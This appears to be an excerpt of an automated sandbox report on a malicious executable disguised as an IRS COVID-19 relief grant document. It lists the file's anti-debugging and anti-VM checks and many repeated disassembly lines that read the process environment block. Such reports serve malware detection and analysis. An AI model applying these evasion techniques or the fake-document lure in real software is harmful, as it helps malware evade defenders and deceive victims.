Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe

Window / User API: threadDelayed 9727

Jump to behavior

Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe

API coverage: 2.6 %

Source: IRS_Covid_19_Relief_Grant_Document_docx.exe

Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe

Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Hides threads from debuggers

Show sources

Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Thread information set: HideFromDebugger	Jump to behavior

Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe

Code function: 0_2_02A972AB rdtsc

0_2_02A972AB

Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe

Code function: 1_2_1E2A9660 NtAllocateVirtualMemory,LdrInitializeThunk,

1_2_1E2A9660

Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 0_2_02A972AB mov eax, dword ptr fs:[00000030h]	0_2_02A972AB
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 0_2_02A9226A mov eax, dword ptr fs:[00000030h]	0_2_02A9226A
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 0_2_02A9226A mov eax, dword ptr fs:[00000030h]	0_2_02A9226A
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 0_2_02A92CA2 mov eax, dword ptr fs:[00000030h]	0_2_02A92CA2
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 0_2_02A92CB1 mov eax, dword ptr fs:[00000030h]	0_2_02A92CB1
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 0_2_02A9689D mov eax, dword ptr fs:[00000030h]	0_2_02A9689D
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 0_2_02A92CF5 mov eax, dword ptr fs:[00000030h]	0_2_02A92CF5
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 0_2_02A929A2 mov eax, dword ptr fs:[00000030h]	0_2_02A929A2
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 0_2_02A93D68 mov eax, dword ptr fs:[00000030h]	0_2_02A93D68
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 0_2_02A9297A mov eax, dword ptr fs:[00000030h]	0_2_02A9297A
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 0_2_02A92975 mov eax, dword ptr fs:[00000030h]	0_2_02A92975
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E26E620 mov eax, dword ptr fs:[00000030h]	1_2_1E26E620
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E31FE3F mov eax, dword ptr fs:[00000030h]	1_2_1E31FE3F
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E26C600 mov eax, dword ptr fs:[00000030h]	1_2_1E26C600
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E26C600 mov eax, dword ptr fs:[00000030h]	1_2_1E26C600
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E26C600 mov eax, dword ptr fs:[00000030h]	1_2_1E26C600
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E298E00 mov eax, dword ptr fs:[00000030h]	1_2_1E298E00
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E29A61C mov eax, dword ptr fs:[00000030h]	1_2_1E29A61C
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E29A61C mov eax, dword ptr fs:[00000030h]	1_2_1E29A61C
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E321608 mov eax, dword ptr fs:[00000030h]	1_2_1E321608
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E27766D mov eax, dword ptr fs:[00000030h]	1_2_1E27766D
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28AE73 mov eax, dword ptr fs:[00000030h]	1_2_1E28AE73
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28AE73 mov eax, dword ptr fs:[00000030h]	1_2_1E28AE73
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28AE73 mov eax, dword ptr fs:[00000030h]	1_2_1E28AE73
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28AE73 mov eax, dword ptr fs:[00000030h]	1_2_1E28AE73
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28AE73 mov eax, dword ptr fs:[00000030h]	1_2_1E28AE73
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E277E41 mov eax, dword ptr fs:[00000030h]	1_2_1E277E41
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E277E41 mov eax, dword ptr fs:[00000030h]	1_2_1E277E41
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E277E41 mov eax, dword ptr fs:[00000030h]	1_2_1E277E41
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E277E41 mov eax, dword ptr fs:[00000030h]	1_2_1E277E41
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E277E41 mov eax, dword ptr fs:[00000030h]	1_2_1E277E41
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E277E41 mov eax, dword ptr fs:[00000030h]	1_2_1E277E41
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E32AE44 mov eax, dword ptr fs:[00000030h]	1_2_1E32AE44
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E32AE44 mov eax, dword ptr fs:[00000030h]	1_2_1E32AE44
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E46A7 mov eax, dword ptr fs:[00000030h]	1_2_1E2E46A7
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E330EA5 mov eax, dword ptr fs:[00000030h]	1_2_1E330EA5
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E330EA5 mov eax, dword ptr fs:[00000030h]	1_2_1E330EA5
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E330EA5 mov eax, dword ptr fs:[00000030h]	1_2_1E330EA5
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2FFE87 mov eax, dword ptr fs:[00000030h]	1_2_1E2FFE87
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2776E2 mov eax, dword ptr fs:[00000030h]	1_2_1E2776E2
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2916E0 mov ecx, dword ptr fs:[00000030h]	1_2_1E2916E0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E338ED6 mov eax, dword ptr fs:[00000030h]	1_2_1E338ED6
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2936CC mov eax, dword ptr fs:[00000030h]	1_2_1E2936CC
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A8EC7 mov eax, dword ptr fs:[00000030h]	1_2_1E2A8EC7
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E31FEC0 mov eax, dword ptr fs:[00000030h]	1_2_1E31FEC0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E264F2E mov eax, dword ptr fs:[00000030h]	1_2_1E264F2E
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E264F2E mov eax, dword ptr fs:[00000030h]	1_2_1E264F2E
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28B73D mov eax, dword ptr fs:[00000030h]	1_2_1E28B73D
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28B73D mov eax, dword ptr fs:[00000030h]	1_2_1E28B73D
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E29E730 mov eax, dword ptr fs:[00000030h]	1_2_1E29E730
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E29A70E mov eax, dword ptr fs:[00000030h]	1_2_1E29A70E
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E29A70E mov eax, dword ptr fs:[00000030h]	1_2_1E29A70E
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E33070D mov eax, dword ptr fs:[00000030h]	1_2_1E33070D
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E33070D mov eax, dword ptr fs:[00000030h]	1_2_1E33070D
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28F716 mov eax, dword ptr fs:[00000030h]	1_2_1E28F716
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2FFF10 mov eax, dword ptr fs:[00000030h]	1_2_1E2FFF10
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2FFF10 mov eax, dword ptr fs:[00000030h]	1_2_1E2FFF10
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E27FF60 mov eax, dword ptr fs:[00000030h]	1_2_1E27FF60
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E338F6A mov eax, dword ptr fs:[00000030h]	1_2_1E338F6A
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E27EF40 mov eax, dword ptr fs:[00000030h]	1_2_1E27EF40
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E278794 mov eax, dword ptr fs:[00000030h]	1_2_1E278794
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E7794 mov eax, dword ptr fs:[00000030h]	1_2_1E2E7794
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E7794 mov eax, dword ptr fs:[00000030h]	1_2_1E2E7794
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E7794 mov eax, dword ptr fs:[00000030h]	1_2_1E2E7794
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A37F5 mov eax, dword ptr fs:[00000030h]	1_2_1E2A37F5
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E29BC2C mov eax, dword ptr fs:[00000030h]	1_2_1E29BC2C
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E6C0A mov eax, dword ptr fs:[00000030h]	1_2_1E2E6C0A
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E6C0A mov eax, dword ptr fs:[00000030h]	1_2_1E2E6C0A
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E6C0A mov eax, dword ptr fs:[00000030h]	1_2_1E2E6C0A
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E6C0A mov eax, dword ptr fs:[00000030h]	1_2_1E2E6C0A
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E321C06 mov eax, dword ptr fs:[00000030h]	1_2_1E321C06
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E321C06 mov eax, dword ptr fs:[00000030h]	1_2_1E321C06
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E321C06 mov eax, dword ptr fs:[00000030h]	1_2_1E321C06
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E321C06 mov eax, dword ptr fs:[00000030h]	1_2_1E321C06
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E321C06 mov eax, dword ptr fs:[00000030h]	1_2_1E321C06
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E321C06 mov eax, dword ptr fs:[00000030h]	1_2_1E321C06
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E321C06 mov eax, dword ptr fs:[00000030h]	1_2_1E321C06
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E321C06 mov eax, dword ptr fs:[00000030h]	1_2_1E321C06
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E321C06 mov eax, dword ptr fs:[00000030h]	1_2_1E321C06
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E321C06 mov eax, dword ptr fs:[00000030h]	1_2_1E321C06
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E321C06 mov eax, dword ptr fs:[00000030h]	1_2_1E321C06
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E321C06 mov eax, dword ptr fs:[00000030h]	1_2_1E321C06
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E321C06 mov eax, dword ptr fs:[00000030h]	1_2_1E321C06
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E321C06 mov eax, dword ptr fs:[00000030h]	1_2_1E321C06
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E33740D mov eax, dword ptr fs:[00000030h]	1_2_1E33740D
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E33740D mov eax, dword ptr fs:[00000030h]	1_2_1E33740D
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E33740D mov eax, dword ptr fs:[00000030h]	1_2_1E33740D
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28746D mov eax, dword ptr fs:[00000030h]	1_2_1E28746D
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E29A44B mov eax, dword ptr fs:[00000030h]	1_2_1E29A44B
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2FC450 mov eax, dword ptr fs:[00000030h]	1_2_1E2FC450
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2FC450 mov eax, dword ptr fs:[00000030h]	1_2_1E2FC450
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E27849B mov eax, dword ptr fs:[00000030h]	1_2_1E27849B
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E3214FB mov eax, dword ptr fs:[00000030h]	1_2_1E3214FB
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E6CF0 mov eax, dword ptr fs:[00000030h]	1_2_1E2E6CF0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E6CF0 mov eax, dword ptr fs:[00000030h]	1_2_1E2E6CF0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E6CF0 mov eax, dword ptr fs:[00000030h]	1_2_1E2E6CF0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E338CD6 mov eax, dword ptr fs:[00000030h]	1_2_1E338CD6
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E338D34 mov eax, dword ptr fs:[00000030h]	1_2_1E338D34
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E32E539 mov eax, dword ptr fs:[00000030h]	1_2_1E32E539
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E294D3B mov eax, dword ptr fs:[00000030h]	1_2_1E294D3B
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E294D3B mov eax, dword ptr fs:[00000030h]	1_2_1E294D3B
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E294D3B mov eax, dword ptr fs:[00000030h]	1_2_1E294D3B
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E273D34 mov eax, dword ptr fs:[00000030h]	1_2_1E273D34
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E273D34 mov eax, dword ptr fs:[00000030h]	1_2_1E273D34
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E273D34 mov eax, dword ptr fs:[00000030h]	1_2_1E273D34
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E273D34 mov eax, dword ptr fs:[00000030h]	1_2_1E273D34
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E273D34 mov eax, dword ptr fs:[00000030h]	1_2_1E273D34
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E273D34 mov eax, dword ptr fs:[00000030h]	1_2_1E273D34
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E273D34 mov eax, dword ptr fs:[00000030h]	1_2_1E273D34
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E273D34 mov eax, dword ptr fs:[00000030h]	1_2_1E273D34
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E273D34 mov eax, dword ptr fs:[00000030h]	1_2_1E273D34
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E273D34 mov eax, dword ptr fs:[00000030h]	1_2_1E273D34
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E273D34 mov eax, dword ptr fs:[00000030h]	1_2_1E273D34
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E273D34 mov eax, dword ptr fs:[00000030h]	1_2_1E273D34
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E273D34 mov eax, dword ptr fs:[00000030h]	1_2_1E273D34
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E26AD30 mov eax, dword ptr fs:[00000030h]	1_2_1E26AD30
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2EA537 mov eax, dword ptr fs:[00000030h]	1_2_1E2EA537
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28C577 mov eax, dword ptr fs:[00000030h]	1_2_1E28C577
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28C577 mov eax, dword ptr fs:[00000030h]	1_2_1E28C577
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A3D43 mov eax, dword ptr fs:[00000030h]	1_2_1E2A3D43
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E3540 mov eax, dword ptr fs:[00000030h]	1_2_1E2E3540
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E313D40 mov eax, dword ptr fs:[00000030h]	1_2_1E313D40
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E287D50 mov eax, dword ptr fs:[00000030h]	1_2_1E287D50
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2935A1 mov eax, dword ptr fs:[00000030h]	1_2_1E2935A1
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E291DB5 mov eax, dword ptr fs:[00000030h]	1_2_1E291DB5
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E291DB5 mov eax, dword ptr fs:[00000030h]	1_2_1E291DB5
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E291DB5 mov eax, dword ptr fs:[00000030h]	1_2_1E291DB5
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E3305AC mov eax, dword ptr fs:[00000030h]	1_2_1E3305AC
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E3305AC mov eax, dword ptr fs:[00000030h]	1_2_1E3305AC
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E292581 mov eax, dword ptr fs:[00000030h]	1_2_1E292581
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E292581 mov eax, dword ptr fs:[00000030h]	1_2_1E292581
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E292581 mov eax, dword ptr fs:[00000030h]	1_2_1E292581
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E292581 mov eax, dword ptr fs:[00000030h]	1_2_1E292581
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E262D8A mov eax, dword ptr fs:[00000030h]	1_2_1E262D8A
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E262D8A mov eax, dword ptr fs:[00000030h]	1_2_1E262D8A
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E262D8A mov eax, dword ptr fs:[00000030h]	1_2_1E262D8A
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E262D8A mov eax, dword ptr fs:[00000030h]	1_2_1E262D8A
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E262D8A mov eax, dword ptr fs:[00000030h]	1_2_1E262D8A
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E29FD9B mov eax, dword ptr fs:[00000030h]	1_2_1E29FD9B
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E29FD9B mov eax, dword ptr fs:[00000030h]	1_2_1E29FD9B
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E318DF1 mov eax, dword ptr fs:[00000030h]	1_2_1E318DF1
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E27D5E0 mov eax, dword ptr fs:[00000030h]	1_2_1E27D5E0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E27D5E0 mov eax, dword ptr fs:[00000030h]	1_2_1E27D5E0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E32FDE2 mov eax, dword ptr fs:[00000030h]	1_2_1E32FDE2
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E32FDE2 mov eax, dword ptr fs:[00000030h]	1_2_1E32FDE2
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E32FDE2 mov eax, dword ptr fs:[00000030h]	1_2_1E32FDE2
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E32FDE2 mov eax, dword ptr fs:[00000030h]	1_2_1E32FDE2
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E6DC9 mov eax, dword ptr fs:[00000030h]	1_2_1E2E6DC9
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E6DC9 mov eax, dword ptr fs:[00000030h]	1_2_1E2E6DC9
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E6DC9 mov eax, dword ptr fs:[00000030h]	1_2_1E2E6DC9
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E6DC9 mov ecx, dword ptr fs:[00000030h]	1_2_1E2E6DC9
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E6DC9 mov eax, dword ptr fs:[00000030h]	1_2_1E2E6DC9
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E6DC9 mov eax, dword ptr fs:[00000030h]	1_2_1E2E6DC9
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28A229 mov eax, dword ptr fs:[00000030h]	1_2_1E28A229
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28A229 mov eax, dword ptr fs:[00000030h]	1_2_1E28A229
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28A229 mov eax, dword ptr fs:[00000030h]	1_2_1E28A229
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28A229 mov eax, dword ptr fs:[00000030h]	1_2_1E28A229
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28A229 mov eax, dword ptr fs:[00000030h]	1_2_1E28A229
